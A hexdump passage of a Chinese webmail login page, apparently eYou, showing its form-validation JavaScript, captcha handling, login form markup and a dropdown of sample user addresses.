0a50: 0A 20 20 20 20 20 20 20 20 73 68 6F 77 4D 73 67 . showMsg\n 0a60: 28 29 3B 0A 20 20 20 20 20 20 20 20 76 61 72 20 ();. var \n 0a70: 75 4E 6F 64 65 20 3D 20 64 6F 63 75 6D 65 6E 74 uNode = document\n 0a80: 2E 67 65 74 45 6C 65 6D 65 6E 74 42 79 49 64 28 .getElementById(\n 0a90: 27 75 73 65 72 27 29 3B 0A 20 20 20 20 20 20 20 'user');. \n 0aa0: 20 76 61 72 20 75 20 3D 20 75 4E 6F 64 65 2E 76 var u = uNode.v\n 0ab0: 61 6C 75 65 2E 72 65 70 6C 61 63 65 28 2F 5E 5C alue.replace(/^\\\n 0ac0: 73 2B 7C 5C 73 2B 24 2F 67 2C 20 27 27 29 3B 0A s+|\\s+$/g, '');.\n 0ad0: 20 20 20 20 20 20 20 20 69 66 20 28 75 20 3D 3D if (u ==\n 0ae0: 3D 20 27 27 20 7C 7C 20 75 4E 6F 64 65 2E 65 6D = '' || uNode.em\n 0af0: 70 74 79 20 3D 3D 3D 20 31 20 7C 7C 20 64 6F 63 pty === 1 || doc\n 0b00: 75 6D 65 6E 74 2E 66 6F 72 6D 5F 6C 6F 67 69 6E ument.form_login\n 0b10: 2E 70 61 73 73 77 6F 72 64 2E 76 61 6C 75 65 20 .password.value \n 0b20: 3D 3D 3D 20 27 27 29 20 7B 0A 20 20 20 20 20 20 === '') {. \n 0b30: 20 20 20 20 20 20 69 66 20 28 21 6E 6F 41 6C 65 if (!noAle\n 0b40: 72 74 29 20 7B 0A 20 20 20 20 20 20 20 20 20 20 rt) {. \n 0b50: 20 20 20 20 20 20 73 68 6F 77 4D 73 67 28 22 E8 showMsg(\".\n 0b60: AF B7 E5 A1 AB E5 86 99 E7 94 A8 E6 88 B7 E5 90 ................\n 0b70: 8D E5 92 8C E5 AF 86 E7 A0 81 E3 80 82 22 29 3B .............\");\n 0b80: 0A 20 20 20 20 20 20 20 20 20 20 20 20 7D 0A 20 . }. \n 0b90: 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 75 if (u\n 0ba0: 20 3D 3D 3D 20 27 27 20 7C 7C 20 75 4E 6F 64 65 === '' || uNode\n 0bb0: 2E 65 6D 70 74 79 20 3D 3D 3D 20 31 29 20 7B 0A .empty === 1) {.\n 0bc0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 0bd0: 75 4E 6F 64 65 2E 66 6F 63 75 73 28 29 3B 0A 20 uNode.focus();. \n 0be0: 20 20 20 20 20 20 20 20 20 20 20 7D 20 65 6C 73 } els\n 0bf0: 65 20 7B 0A 20 20 20 20 20 20 20 20 20 20 20 20 e {. \n 0c00: 20 20 20 20 69 66 20 28 64 6F 63 75 6D 65 6E 74 if (document\n 0c10: 2E 66 6F 72 6D 5F 6C 6F 67 69 6E 2E 70 61 73 73 .form_login.pass\n 0c20: 77 6F 72 64 2E 73 74 79 6C 65 2E 64 69 73 70 6C word.style.displ\n 0c30: 61 79 20 3D 3D 3D 20 27 6E 6F 6E 65 27 29 20 7B ay === 'none') {\n 0c40: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . \n 0c50: 20 20 20 20 20 64 6F 63 75 6D 65 6E 74 2E 66 6F document.fo\n 0c60: 72 6D 5F 6C 6F 67 69 6E 2E 70 61 73 73 77 6F 72 rm_login.passwor\n 0c70: 64 2E 70 72 65 76 69 6F 75 73 53 69 62 6C 69 6E d.previousSiblin\n 0c80: 67 2E 73 74 79 6C 65 2E 64 69 73 70 6C 61 79 20 g.style.display \n 0c90: 3D 20 27 6E 6F 6E 65 27 3B 0A 20 20 20 20 20 20 = 'none';. \n 0ca0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6F do\n 0cb0: 63 75 6D 65 6E 74 2E 66 6F 72 6D 5F 6C 6F 67 69 cument.form_logi\n 0cc0: 6E 2E 70 61 73 73 77 6F 72 64 2E 73 74 79 6C 65 n.password.style\n 0cd0: 2E 64 69 73 70 6C 61 79 20 3D 20 27 27 3B 0A 20 .display = '';. \n 0ce0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7D }\n 0cf0: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . \n 0d00: 20 64 6F 63 75 6D 65 6E 74 2E 66 6F 72 6D 5F 6C document.form_l\n 0d10: 6F 67 69 6E 2E 70 61 73 73 77 6F 72 64 2E 66 6F ogin.password.fo\n 0d20: 63 75 73 28 29 3B 0A 20 20 20 20 20 20 20 20 20 cus();. \n 0d30: 20 20 20 7D 0A 20 20 20 20 20 20 20 20 20 20 20 }. \n 0d40: 20 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 0A 20 return false;. \n 0d50: 20 20 20 20 20 20 20 7D 0A 0A 20 20 20 20 20 20 }.. \n 0d60: 20 20 64 6F 63 75 6D 65 6E 74 2E 66 6F 72 6D 5F document.form_\n 0d70: 6C 6F 67 69 6E 2E 75 73 65 72 2E 76 61 6C 75 65 login.user.value\n 0d80: 20 3D 20 75 3B 0A 0A 20 20 20 20 20 20 20 20 2F = u;.. /\n 0d90: 2F E5 A6 82 E6 9E 9C E5 BC 80 E5 90 AF E9 AA 8C /...............\n 0da0: E8 AF 81 E7 A0 81 0A 20 20 20 20 20 20 20 20 69 ....... i\n 0db0: 66 20 28 69 73 43 61 70 74 63 68 61 20 3D 3D 20 f (isCaptcha == \n 0dc0: 31 20 7C 7C 20 66 6F 72 63 65 43 61 70 74 63 68 1 || forceCaptch\n 0dd0: 61 29 20 7B 0A 20 20 20 20 20 20 20 20 20 20 20 a) {. \n 0de0: 20 69 66 20 28 22 22 20 3D 3D 20 61 75 74 68 43 if (\"\" == authC\n 0df0: 6F 64 65 2E 76 61 6C 75 65 20 7C 7C 20 61 75 74 ode.value || aut\n 0e00: 68 43 6F 64 65 2E 65 6D 70 74 79 20 3D 3D 3D 20 hCode.empty === \n 0e10: 31 29 20 7B 0A 20 20 20 20 20 20 20 20 20 20 20 1) {. \n 0e20: 20 20 20 20 20 69 66 20 28 21 6E 6F 41 6C 65 72 if (!noAler\n 0e30: 74 29 20 7B 0A 20 20 20 20 20 20 20 20 20 20 20 t) {. \n 0e40: 20 20 20 20 20 20 20 20 20 73 68 6F 77 4D 73 67 showMsg\n 0e50: 28 22 E8 AF B7 E5 A1 AB E5 86 99 E9 AA 8C E8 AF (\"..............\n 0e60: 81 E7 A0 81 E3 80 82 22 29 3B 20 0A 20 20 20 20 .......\"); . \n 0e70: 20 20 20 20 20 20 20 20 20 20 20 20 7D 0A 20 20 }. \n 0e80: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 75 au\n 0e90: 74 68 43 6F 64 65 2E 66 6F 63 75 73 28 29 3B 0A thCode.focus();.\n 0ea0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 0eb0: 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 0A 20 20 return false;. \n 0ec0: 20 20 20 20 20 20 20 20 20 20 7D 0A 20 20 20 20 }. \n 0ed0: 20 20 20 20 7D 0A 0A 20 20 20 20 20 20 20 20 73 }.. s\n 0ee0: 65 74 43 6F 6F 6B 69 65 28 27 65 6D 4C 6F 67 69 etCookie('emLogi\n 0ef0: 6E 55 73 65 72 27 2C 20 75 29 3B 0A 20 20 20 20 nUser', u);. \n 0f00: 20 20 20 20 62 65 66 6F 72 65 4C 6F 67 69 6E 28 beforeLogin(\n 0f10: 29 3B 0A 0A 20 20 20 20 20 20 20 20 72 65 74 75 );.. retu\n 0f20: 72 6E 20 74 72 75 65 3B 0A 20 20 20 20 7D 3B 0A rn true;. };.\n 0f30: 0A 20 20 20 20 6F 6E 28 64 6F 63 75 6D 65 6E 74 . on(document\n 0f40: 2E 67 65 74 45 6C 65 6D 65 6E 74 42 79 49 64 28 .getElementById(\n 0f50: 27 75 73 65 72 27 29 2C 20 27 6B 65 79 64 6F 77 'user'), 'keydow\n 0f60: 6E 27 2C 20 66 75 6E 63 74 69 6F 6E 28 65 76 29 n', function(ev)\n 0f70: 20 7B 0A 20 20 20 20 20 20 20 20 69 66 20 28 65 {. if (e\n 0f80: 76 2E 6B 65 79 43 6F 64 65 20 3D 3D 3D 20 31 33 v.keyCode === 13\n 0f90: 29 20 7B 0A 20 20 20 20 20 20 20 20 73 65 74 54 ) {. setT\n 0fa0: 69 6D 65 6F 75 74 28 66 75 6E 63 74 69 6F 6E 28 imeout(function(\n 0fb0: 29 20 7B 0A 20 20 20 20 20 20 20 20 20 20 20 20 ) {. \n 0fc0: 69 66 20 28 66 61 6C 73 65 20 3D 3D 3D 20 6F 6E if (false === on\n 0fd0: 73 75 62 6D 69 74 28 6E 75 6C 6C 2C 20 74 72 75 submit(null, tru\n 0fe0: 65 29 29 20 7B 0A 20 20 20 20 20 20 20 20 20 20 e)) {. \n 0ff0: 20 20 20 20 20 20 72 65 74 75 72 6E 3B 20 0A 20 return; . \n 1000: 20 20 20 20 20 20 20 20 20 20 20 7D 20 65 6C 73 } els\n 1010: 65 20 7B 0A 20 20 20 20 20 20 20 20 20 20 20 20 e {. \n 1020: 20 20 20 20 64 6F 63 75 6D 65 6E 74 2E 66 6F 72 document.for\n 1030: 6D 5F 6C 6F 67 69 6E 2E 73 75 62 6D 69 74 28 29 m_login.submit()\n 1040: 3B 0A 20 20 20 20 20 20 20 20 20 20 20 20 7D 0A ;. }.\n 1050: 20 20 20 20 20 20 20 20 7D 2C 20 31 30 30 29 3B }, 100);\n 1060: 0A 20 20 20 20 20 20 20 20 7D 0A 20 20 20 20 7D . }. }\n 1070: 29 3B 0A 0A 20 20 20 20 6F 6E 28 64 6F 63 75 6D );.. on(docum\n 1080: 65 6E 74 2E 66 6F 72 6D 5F 6C 6F 67 69 6E 2C 20 ent.form_login, \n 1090: 27 73 75 62 6D 69 74 27 2C 20 6F 6E 73 75 62 6D 'submit', onsubm\n 10a0: 69 74 29 3B 0A 0A 20 20 20 20 73 68 6F 77 4D 73 it);.. showMs\n 10b0: 67 43 6F 64 65 28 63 6F 64 65 29 3B 0A 0A 0A 7D gCode(code);...}\n 10c0: 0A 2F 2F E4 BB A5 E4 B8 8B E4 BB A3 E7 A0 81 E7 .//.............\n 10d0: 94 A8 E6 9D A5 E7 99 BB E5 BD 95 E9 80 80 E5 87 ................\n 10e0: BA 0A 61 6A 61 78 5F 70 6F 73 74 28 27 2F 3F 71 ..ajax_post('/?q\n 10f0: 3D 6C 6F 67 69 6E 2E 64 65 73 74 72 6F 79 2E 73 =login.destroy.s\n 1100: 65 73 73 69 6F 6E 27 29 3B 0A 3C 2F 73 63 72 69 ession');.</scri\n 1110: 70 74 3E 0A 3C 21 2D 2D 20 E7 99 BB E5 BD 95 E7 pt>.<!-- .......\n 1120: 95 8C E9 9D A2 E6 99 AE E9 80 9A E5 A4 84 E7 90 ................\n 1130: 86 E7 BB 93 E6 9D 9F 20 2D 2D 3E 0A 3C 2F 68 65 ....... -->.</he\n 1140: 61 64 3E 0A 0A 3C 62 6F 64 79 3E 0A 3C 64 69 76 ad>..<body>.<div\n 1150: 20 63 6C 61 73 73 3D 22 74 22 3E 0A 09 3C 64 69 class=\"t\">..<di\n 1160: 76 20 63 6C 61 73 73 3D 22 68 22 3E 0A 20 20 20 v class=\"h\">. \n 1170: 20 09 3C 64 69 76 20 63 6C 61 73 73 3D 22 6C 6F .<div class=\"lo\n 1180: 67 6F 22 3E 3C 69 6D 67 20 73 72 63 3D 22 2F 74 go\"><img src=\"/t\n 1190: 70 6C 2F 6C 6F 67 69 6E 2F 75 73 65 72 2F 69 6D pl/login/user/im\n 11a0: 61 67 65 73 2F 6C 6F 67 69 6E 5F 6C 6F 67 6F 2E ages/login_logo.\n 11b0: 70 6E 67 22 20 2F 3E 3C 2F 64 69 76 3E 0A 20 20 png\" /></div>. \n 11c0: 20 20 20 20 20 20 3C 61 20 68 72 65 66 3D 22 2F <a href=\"/\n 11d0: 3F 71 3D 68 65 6C 70 22 20 74 61 72 67 65 74 3D ?q=help\" target=\n 11e0: 22 5F 62 6C 61 6E 6B 22 20 63 6C 61 73 73 3D 22 \"_blank\" class=\"\n 11f0: 68 65 6C 70 22 3E E5 B8 AE E5 8A A9 3C 2F 61 3E help\">......</a>\n 1200: 0A 20 20 20 20 3C 2F 64 69 76 3E 0A 3C 2F 64 69 . </div>.</di\n 1210: 76 3E 0A 0A 3C 64 69 76 20 63 6C 61 73 73 3D 22 v>..<div class=\"\n 1220: 63 22 3E 0A 0A 20 20 20 20 09 3C 64 69 76 20 63 c\">.. .<div c\n 1230: 6C 61 73 73 3D 22 62 6F 78 22 20 73 74 79 6C 65 lass=\"box\" style\n 1240: 3D 22 72 69 67 68 74 3A 36 30 70 78 3B 20 74 6F =\"right:60px; to\n 1250: 70 3A 36 30 70 78 3B 22 20 69 64 3D 22 62 6F 78 p:60px;\" id=\"box\n 1260: 22 3E 0A 20 20 20 20 20 20 20 20 20 20 20 20 3C \">. <\n 1270: 21 2D 2D 20 E7 99 BB E5 BD 95 E5 88 B0 E5 88 87 !-- ............\n 1280: E6 8D A2 E5 B7 A5 E5 85 B7 E6 A0 8F E5 BC 80 E5 ................\n 1290: A7 8B 20 2D 2D 3E 0A 20 20 20 20 20 20 20 20 09 .. -->. .\n 12a0: 3C 75 6C 20 63 6C 61 73 73 3D 22 74 61 62 22 20 <ul class=\"tab\" \n 12b0: 69 64 3D 22 74 61 62 22 3E 0A 20 20 20 20 20 20 id=\"tab\">. \n 12c0: 20 20 20 20 20 20 09 3C 21 2D 2D 6C 69 20 63 6C .<!--li cl\n 12d0: 61 73 73 3D 22 63 75 72 72 65 6E 74 22 3E E6 94 ass=\"current\">..\n 12e0: B6 E4 BF A1 3C 2F 6C 69 2D 2D 3E 0A 20 20 20 20 ....</li-->. \n 12f0: 20 20 20 20 20 20 20 20 20 20 20 20 3C 6C 69 20 <li \n 1300: 6F 6E 63 6C 69 63 6B 3D 22 74 61 62 43 6C 69 63 onclick=\"tabClic\n 1310: 6B 28 74 68 69 73 29 22 20 69 64 3D 27 69 6E 62 k(this)\" id='inb\n 1320: 6F 78 27 3E E6 94 B6 E4 BF A1 3C 2F 6C 69 3E 0A ox'>......</li>.\n 1330: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1340: 3C 6C 69 20 6F 6E 63 6C 69 63 6B 3D 22 74 61 62 <li onclick=\"tab\n 1350: 43 6C 69 63 6B 28 74 68 69 73 29 22 20 69 64 3D Click(this)\" id=\n 1360: 27 63 6F 6D 70 6F 73 65 27 3E E5 86 99 E4 BF A1 'compose'>......\n 1370: 3C 2F 6C 69 3E 0A 20 20 20 20 20 20 20 20 20 20 </li>. \n 1380: 20 20 20 20 20 20 3C 6C 69 20 6F 6E 63 6C 69 63 <li onclic\n 1390: 6B 3D 22 74 61 62 43 6C 69 63 6B 28 74 68 69 73 k=\"tabClick(this\n 13a0: 29 22 20 69 64 3D 27 74 6F 64 61 79 27 3E E4 BB )\" id='today'>..\n 13b0: 8A E6 97 A5 3C 2F 6C 69 3E 0A 20 20 20 20 20 20 ....</li>. \n 13c0: 20 20 20 20 20 20 20 20 20 20 3C 6C 69 20 6F 6E <li on\n 13d0: 63 6C 69 63 6B 3D 22 74 61 62 43 6C 69 63 6B 28 click=\"tabClick(\n 13e0: 74 68 69 73 29 22 20 69 64 3D 27 73 74 6F 72 61 this)\" id='stora\n 13f0: 67 65 27 3E E7 BD 91 E7 9B 98 3C 2F 6C 69 3E 0A ge'>......</li>.\n 1400: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1410: 3C 6C 69 20 63 6C 61 73 73 3D 22 64 72 61 67 62 <li class=\"dragb\n 1420: 61 72 22 20 69 64 3D 22 64 72 61 67 62 61 72 22 ar\" id=\"dragbar\"\n 1430: 3E 3C 2F 6C 69 3E 0A 20 20 20 20 20 20 20 20 20 ></li>. \n 1440: 20 20 20 3C 2F 75 6C 3E 0A 20 20 20 20 20 20 20 </ul>. \n 1450: 20 20 20 20 20 3C 21 2D 2D 20 E7 99 BB E5 BD 95 <!-- ......\n 1460: E5 88 B0 E5 88 87 E6 8D A2 E5 B7 A5 E5 85 B7 E6 ................\n 1470: A0 8F E7 BB 93 E6 9D 9F 20 2D 2D 3E 0A 20 20 20 ........ -->. \n 1480: 20 20 20 20 20 20 20 20 20 3C 21 2D 2D 20 E9 94 <!-- ..\n 1490: 99 E8 AF AF E4 BF A1 E6 81 AF E6 8F 90 E7 A4 BA ................\n 14a0: E6 A1 86 E5 BC 80 E5 A7 8B 20 2D 2D 3E 0A 20 20 ......... -->. \n 14b0: 20 20 20 20 20 20 20 20 20 20 3C 64 69 76 20 63 <div c\n 14c0: 6C 61 73 73 3D 22 6D 73 67 22 20 73 74 79 6C 65 lass=\"msg\" style\n 14d0: 3D 22 64 69 73 70 6C 61 79 3A 6E 6F 6E 65 22 20 =\"display:none\" \n 14e0: 69 64 3D 22 6D 73 67 22 3E 3C 2F 64 69 76 3E 0A id=\"msg\"></div>.\n 14f0: 20 20 20 20 20 20 20 20 20 20 20 20 3C 21 2D 2D <!--\n 1500: 20 E9 94 99 E8 AF AF E4 BF A1 E6 81 AF E6 8F 90 ...............\n 1510: E7 A4 BA E6 A1 86 E7 BB 93 E6 9D 9F 20 2D 2D 3E ............ -->\n 1520: 0A 20 20 20 20 20 20 20 20 20 20 20 20 09 3C 64 . .<d\n 1530: 69 76 20 63 6C 61 73 73 3D 22 62 6F 78 63 22 3E iv class=\"boxc\">\n 1540: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . \n 1550: 20 3C 68 33 3E E7 94 A8 E6 88 B7 E7 99 BB E5 BD <h3>...........\n 1560: 95 20 3C 73 70 61 6E 20 69 64 3D 22 77 68 65 72 . <span id=\"wher\n 1570: 65 22 3E 3C 2F 73 70 61 6E 3E 3C 2F 68 33 3E 0A e\"></span></h3>.\n 1580: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1590: 3C 64 69 76 20 63 6C 61 73 73 3D 22 74 65 78 74 <div class=\"text\n 15a0: 5F 69 74 65 6D 22 3E 0A 20 20 20 20 20 20 20 20 _item\">. \n 15b0: 20 20 20 20 20 20 20 20 20 20 20 20 3C 69 6E 70 <inp\n 15c0: 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 63 ut type=\"text\" c\n 15d0: 6C 61 73 73 3D 22 74 65 78 74 22 20 69 64 3D 22 lass=\"text\" id=\"\n 15e0: 75 73 65 72 22 20 73 74 79 6C 65 3D 22 69 6D 65 user\" style=\"ime\n 15f0: 2D 6D 6F 64 65 3A 64 69 73 61 62 6C 65 64 22 20 -mode:disabled\" \n 1600: 61 75 74 6F 63 6F 6D 70 6C 65 74 65 3D 22 6F 66 autocomplete=\"of\n 1610: 66 22 20 5F 70 6C 61 63 65 68 6F 6C 64 65 72 3D f\" _placeholder=\n 1620: 22 E7 94 A8 E6 88 B7 E5 90 8D 22 20 6F 6E 66 6F \".........\" onfo\n 1630: 63 75 73 3D 22 74 68 69 73 2E 63 6C 61 73 73 4E cus=\"this.classN\n 1640: 61 6D 65 3D 27 74 65 78 74 5F 66 27 22 20 6F 6E ame='text_f'\" on\n 1650: 62 6C 75 72 3D 22 74 68 69 73 2E 63 6C 61 73 73 blur=\"this.class\n 1660: 4E 61 6D 65 3D 27 74 65 78 74 27 22 20 2F 3E 0A Name='text'\" />.\n 1670: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1680: 20 20 20 20 3C 64 69 76 20 63 6C 61 73 73 3D 22 <div class=\"\n 1690: 70 6F 70 22 20 73 74 79 6C 65 3D 22 64 69 73 70 pop\" style=\"disp\n 16a0: 6C 61 79 3A 6E 6F 6E 65 3B 22 20 69 64 3D 22 70 lay:none;\" id=\"p\n 16b0: 6F 70 22 3E 0A 20 20 20 20 20 20 20 20 20 20 20 op\">. \n 16c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 3C 70 20 <p \n 16d0: 63 6C 61 73 73 3D 22 66 69 72 73 74 22 3E 3C 61 class=\"first\"><a\n 16e0: 20 68 72 65 66 3D 22 23 22 3E 77 61 6E 67 68 6F href=\"#\">wangho\n 16f0: 6E 67 79 75 40 65 79 6F 75 2E 6E 65 74 3C 2F 61 ngyu@eyou.net</a\n 1700: 3E 3C 2F 70 3E 0A 20 20 20 20 20 20 20 20 20 20 ></p>. \n 1710: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3C 70 <p\n 1720: 3E 3C 61 20 68 72 65 66 3D 22 23 22 3E 77 61 6E ><a href=\"#\">wan\n 1730: 67 68 6F 6E 67 79 75 40 65 79 6F 75 2E 63 6F 6D ghongyu@eyou.com\n 1740: 3C 2F 61 3E 3C 2F 70 3E 0A 20 20 20 20 20 20 20 </a></p>. \n 1750: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1760: 20 3C 70 3E 3C 61 20 68 72 65 66 3D 22 23 22 3E <p><a href=\"#\">\n 1770: 77 61 6E 67 68 6F 6E 67 79 75 40 76 69 70 2E 65 wanghongyu@vip.e\n 1780: 79 6F 75 2E 6E 65 74 3C 2F 61 3E 3C 2F 50 3E 0A you.net</a></P>.\n 1790: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 17a0: 20 20 20 20 20 20 20 20 3C 70 3E 3C 61 20 68 72 <p><a hr\n 17b0: 65 66 3D 22 23 22 3E 77 61 6E 67 68 6F 6E 67 79 ef=\"#\">wanghongy\n 17c0: 75 40 74 65 73 74 2E 65 79 6F 75 2E 6E 65 74 3C u@test.eyou.net<\n 17d0: 2F 61 3E 3C 2F 70 3E 0A 20 20 20 20 20 20 20 20 /a></p>. \n 17e0: 20 20 20 20 20 20 20 20 20 20 20 20 3C 2F 64 69 </di\n 17f0: 76 3E 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 v>. \n 1800: 20 20 20 3C 2F 64 69 76 3E 0A 20 20 20 20 20 20 </div>. \n 1810: 20 20 3C 66 6F 72 6D 20 6E 61 6D 65 3D 27 66 6F <form name='fo\n 1820: 72 6D 5F 6C 6F 67 69 6E 27 20 6D 65 74 68 6F 64 rm_login' method\n 1830: 3D 22 70 6F 73 74 22 20 61 63 74 69 6F 6E 3D 22 =\"post\" action=\"\n 1840: 2F 75 73 65 72 2F 3F 71 3D 6C 6F 67 69 6E 2E 64 /user/?q=login.d\n 1850: 6F 22 3E 0A 20 20 20 20 20 20 20 20 20 20 20 20 o\">. \n 1860: 20 20 20 20 3C 64 69 76 20 63 6C 61 73 73 3D 22 <div class=\"\n 1870: 74 65 78 74 5F 69 74 65 6D 22 3E 0A 20 20 20 20 text_item\">. \n 1880: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1890: 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 <input type=\"hid\n 18a0: 64 65 6E 22 20 63 6C 61 73 73 3D 22 74 65 78 74 den\" class=\"text\n 18b0: 22 20 6E 61 6D 65 3D 22 75 73 65 72 22 20 76 61 \" name=\"user\" va\n 18c0: 6C 75 65 3D 22 22 2F 3E 0A 20 20 20 20 20 20 20 lue=\"\"/>. \n 18d0: 20 20 20 20 20 20 20 20 20 20 20 20 20 3C 69 6E <in\n 18e0: 70 75 74 20 74 79 70 65 3D 22 70 61 73 73 77 6F put type=\"passwo\n 18f0: 72 64 22 20 63 6C 61 73 73 3D 22 74 65 78 74 22 rd\" class=\"text\"\n 1900: 20 6E 61 6D 65 3D 22 70 61 73 73 77 6F 72 64 22 name=\"password\"\n 1910: 20 5F 70 6C 61 63 65 68 6F 6C 64 65 72 3D 22 E5 _placeholder=\".\n 1920: AF 86 E7 A0 81 22 20 6F 6E 66 6F 63 75 73 3D 22 .....\" onfocus=\"\n 1930: 74 68 69 73 2E 63 6C 61 73 73 4E 61 6D 65 3D 27 this.className='\n 1940: 74 65 78 74 5F 66 27 22 20 6F 6E 62 6C 75 72 3D text_f'\" onblur=\n 1950: 22 74 68 69 73 2E 63 6C 61 73 73 4E 61 6D 65 3D \"this.className=\n 1960: 27 74 65 78 74 27 22 20 2F 3E 0A 20 20 20 20 20 'text'\" />. \n 1970: 20 20 20 20 20 20 20 20 20 20 20 3C 2F 64 69 76 </div\n 1980: 3E 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 >. \n 1990: 20 20 3C 64 69 76 20 63 6C 61 73 73 3D 22 62 6C <div class=\"bl\n 19a0: 22 3E 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 \">. \n 19b0: 20 20 09 20 09 3C 73 70 61 6E 20 73 74 79 6C 65 . .<span style\n 19c0: 3D 22 66 6C 6F 61 74 3A 6C 65 66 74 22 3E 0A 20 =\"float:left\">. \n 19d0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 19e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 19f0: 20 20 20 20 20 20 20 20 20 20 20 3C 69 6E 70 75 <inpu\n 1a00: 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 t type=\"hidden\" \n 1a10: 6E 61 6D 65 3D 22 6C 6F 67 69 6E 5F 73 73 6C 22 name=\"login_ssl\"\n 1a20: 20 76 61 6C 75 65 3D 22 30 22 20 2F 3E 0A 20 20 value=\"0\" />. \n 1a30: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1a40: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1a50: 20 20 20 20 20 20 3C 2F 73 70 61 6E 3E 0A 20 20 </span>. \n 1a60: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1a70: 20 20 3C 73 70 61 6E 20 63 6C 61 73 73 3D 22 62 <span class=\"b\n 1a80: 6C 74 22 3E 0A 20 20 20 20 20 20 20 20 20 20 20 lt\">. \n 1a90: 20 20 20 20 20 20 20 20 20 3C 61 20 68 72 65 66 <a href\n 1aa0: 3D 22 2F 3F 71 3D 72 65 73 65 74 70 77 22 20 74 =\"/?q=resetpw\" t\n 1ab0: 61 72 67 65 74 3D 22 5F 73 65 6C 66 22 3E E5 BF arget=\"_self\">..\n 1ac0: 98 E8 AE B0 E5 AF 86 E7 A0 81 3C 2F 61 3E 20 20 ..........</a> \n 1ad0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1ae0: 20 20 3C 2F 73 70 61 6E 3E 20 0A 20 20 20 20 20 </span> . \n 1af0: 20 20 20 20 20 09 09 3C 2F 64 69 76 3E 0A 20 20 ..</div>. \n 1b00: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3C 64 <d\n 1b10: 69 76 20 63 6C 61 73 73 3D 22 62 74 6E 62 22 3E iv class=\"btnb\">\n 1b20: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . \n 1b30: 20 20 20 20 20 3C 21 2D 2D 20 E9 AA 8C E8 AF 81 <!-- ......\n 1b40: E7 A0 81 E6 8E A7 E5 88 B6 E5 BC 80 E5 A7 8B 20 ............... \n 1b50: 2D 2D 3E 0A 20 20 20 20 20 20 20 20 20 20 20 20 -->. \n 1b60: 20 20 20 09 09 3C 69 6E 70 75 74 20 74 79 70 65 ..<input type\n 1b70: 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 61 75 =\"text\" name=\"au\n 1b80: 74 68 5F 63 6F 64 65 22 20 63 6C 61 73 73 3D 22 th_code\" class=\"\n 1b90: 74 65 78 74 22 20 5F 70 6C 61 63 65 68 6F 6C 64 text\" _placehold\n 1ba0: 65 72 3D 22 E9 AA 8C E8 AF 81 E7 A0 81 22 20 73 er=\".........\" s\n 1bb0: 74 79 6C 65 3D 22 77 69 64 74 68 3A 31 30 30 70 tyle=\"width:100p\n 1bc0: 78 3B 20 66 6C 6F 61 74 3A 6C 65 66 74 3B 64 69 x; float:left;di\n 1bd0: 73 70 6C 61 79 3A 6E 6F 6E 65 22 20 6F 6E 66 6F splay:none\" onfo\n 1be0: 63 75 73 3D 22 74 68 69 73 2E 63 6C 61 73 73 4E cus=\"this.classN\n 1bf0: 61 6D 65 3D 27 74 65 78 74 5F 66 27 22 20 6F 6E ame='text_f'\" on\n 1c00: 62 6C 75 72 3D 22 74 68 69 73 2E 63 6C 61 73 73 blur=\"this.class\n 1c10: 4E 61 6D 65 3D 27 74 65 78 74 27 22 20 69 64 3D Name='text'\" id=\n 1c20: 22 61 75 74 68 5F 63 6F 64 65 22 2F 3E 0A 20 20 \"auth_code\"/>. \n 1c30: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1c40: 20 20 3C 64 69 76 20 63 6C 61 73 73 3D 22 79 7A <div class=\"yz\n 1c50: 6D 62 6F 78 22 20 73 74 79 6C 65 3D 22 7A 2D 69 mbox\" style=\"z-i\n 1c60: 6E 64 65 78 3A 31 30 30 30 3B 64 69 73 70 6C 61 ndex:1000;displa\n 1c70: 79 3A 6E 6F 6E 65 22 20 69 64 3D 22 61 75 74 68 y:none\" id=\"auth\n 1c80: 5F 63 6F 64 65 5F 69 6D 67 22 3E 3C 2F 64 69 76 _code_img\"></div\n 1c90: 3E 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 >. \n 1ca0: 20 20 20 20 20 20 3C 21 2D 2D 20 E9 AA 8C E8 AF <!-- .....\n 1cb0: 81 E7 A0 81 E6 8E A7 E5 88 B6 E7 BB 93 E6 9D 9F ................\n 1cc0: 20 2D 2D 3E 0A 0A 20 20 20 20 20 20 20 20 20 20 -->.. \n 1cd0: 20 20 20 20 20 20 20 20 20 20 3C 21 2D 2D 20 E7 <!-- .\n 1ce0: 99 BB E5 BD 95 E5 90 8E E7 9A 84 55 52 4C E6 